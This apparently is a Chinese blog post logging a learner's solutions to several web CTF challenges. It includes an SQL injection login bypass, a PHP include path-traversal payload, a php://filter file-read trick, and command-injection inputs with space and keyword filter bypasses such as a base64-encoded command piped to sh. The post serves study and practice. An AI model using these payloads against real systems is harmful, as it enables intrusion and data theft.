CTF学习记录5.26

1.[极客大挑战 2019]EasySQL

47418a743a7c4d5289b35a565f584f13.png

 看到这个页面,随便对用户名和密码输入一些东西

7aac3e0bb09e4a9e8b1da5317a99db87.png

通过学习sql得知,sql分为两种类型的注入,数字型和字符型sql,输入1后拿到了wrong username password,输入1'后得到a2ab10250316422d8e450e9f23f9f301.png

 从1''中得知,这是字符型注入,输入万能密码 username里面输入 1' or 1 = 1' password里面输入一样的东西,得到flag


2[极客大挑战 2019]Havefun

开局直接f12c9e0da6a442a44f794934b49f0bc3090.png

 在url中输入cat=dog,得到flag


3.[HCTF 2018]WarmUp

开局f12,然后在url中进入文件source.php9dba5b1e163541708a2608362b913f8a.png

 前置知识

012e91449b284cf1b50bd40e9abf17ef.png

 9a6b63b363b54b5da0cc0dcc789d4a2c.png

 cf9c501cb7d04e3688e6c25f9499f0a9.png

 ea6850d6fa4a454db64b8862e7dc6b95.png

 d4356109f4e4497f9cf9548f8dec8e63.png

 目录,前置知识已经全部凑齐,接下来我们开始绝对能听懂的解答

 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

分析第一部分,就是要让我们传入page参数,而且必须为字符串

 if (in_array($page, $whitelist)) {
                return true;
            }

第二部分,判断page参数是不是souce.php或者hint.php

$_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
          

第三部分,截取page到?前的部分,判断截取后在不在whitelist里面


            echo "you can't see it";
            return false;
    

 不能让这几个判断句一个都不执行

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

nclude 语句包含并运行指定文件。
以下文档也适用于 require 。必看

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include 结构会发出一条警告;这一点和 require 不同,后者会发出一个致命错误。

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。绝对路径与相对路径
所以在本题中include()函数包含文件时会按路径./../../../../ffffllllaaaagggg来寻找文件

另外关于路径,符号"."代表当前目录,“..”代表上一级的目录,"/"代表根目录,而./../../../../ffffllllaaaagggg则通过不断将路径跳转到上一个目录直到flag所在的PHP文件(该题中目标PHP文件恰好在根目录下,而根目录的上一层目录仍然是根目录)。

1.source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg
2.source.php?file=hint.php?/../../../../ffffllllaaaagggg

%253是因为url进入后已经会编码一次,所以双重编码

在这里有个非常重要的知识

php 默认相对路径都是以被访问页面所在路径为准的。无论一个入口页面,里面包含多少文件,相对路径,都是以这个页面为准

根据include函数的功能,以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件--注意是最后一个/。可以发现若输入source.php?/../../../../ffffllllaaaagggg时,source.php?这个文件是找不到的,那么就会将第一个../前的代码忽略,那么就会包含../../../../ffffllllaaaagggg

(本地测试没有成功,可能是配置的问题,还未解决)

这里最后一个/的解释为:

例子:

flag.php?/xx/../../../1.txt,包含时,因为flag.php?/xx这个文件找不到那就会包含../../../1.txt,但此时的目录已经是原来的目录的子目录了。

flag.php?/xx/xx/../../../1.txt,包含时,因为flag.php?/xx/xx这个文件找不到那就会包含../../../1.txt,但此时的目录已经是原来的目录的子目录的子目录了。以此类推
摘抄自-博主monica


3.[ACTF2020 新生赛]Include

22f7fba95cb6439e83f5a295e630b6cb.png

 朴实无华的界面,先来一手f124940e2f2394848ec8260ebb8b5db39de.png

 说明这个tip是个链接,会让url中输入file=flag.php,在这里懂了href本质上就是url中的输入,也可以输入地址如/flag。结合include,这里就直接用php伪协议,输入

php://filter/read=convert.base64-encode/resource=flag.php

得到flag,base64解码就好了


4.[ACTF2020 新生赛]Exec

非常常规的,经典打开题目啥也不会,于是我们开始零基础学习这题。通过网上学习得知ping的知识ping的知识,然后我们要再学习一下命令执行漏洞是啥玩意命令执行漏洞,然后还要学习linux命令,ls命令,cat命令cat命令,然后我们差不多就可以做这道题了,首先先输入

1 | ls /

查看根目录0725762b59a14b6c9d839d0307fe7886.png

 然后就直接输入cat /flag得到flag,也可以用tac,tac是cat的反向显示 ,cat 是由“第一行到最后一行连续显示在屏幕上”,而 tac 则是“ 由最后一行到第一行反向在屏幕上显示出来 ”


5.[GXYCTF2019]Ping Ping Ping

 看到这个页面,啥也不会,随便输入了一下,发现是命令执行漏洞和绕过过滤的问题,绕过空格过滤有以下的方法

IFS
${IFS}
$IFS$1
<
<>
{cat,flag.php} 
%20
%09

绕过flag过滤有以下的方法

/?ip=123;a=lag;cat$IFS$1f$a.php
/?ip=123;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
/?ip=123;cat$IFS$1`ls`//反单引号里面的内容会优先执行,然后把命令的输出作为输入执行。ls命令输出的结果是flag.php和index.php,因此就直接查看了这两个文件夹里的内容。

base64命令566b879d09b14f5c904b69f72474115a.png

 |将前面解码的输出作为sh的输入,然后执行。最后这道题比较坑的地方是flag在注释里面,是没有在正常回显的

也可以直接使用curl命令(真香)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值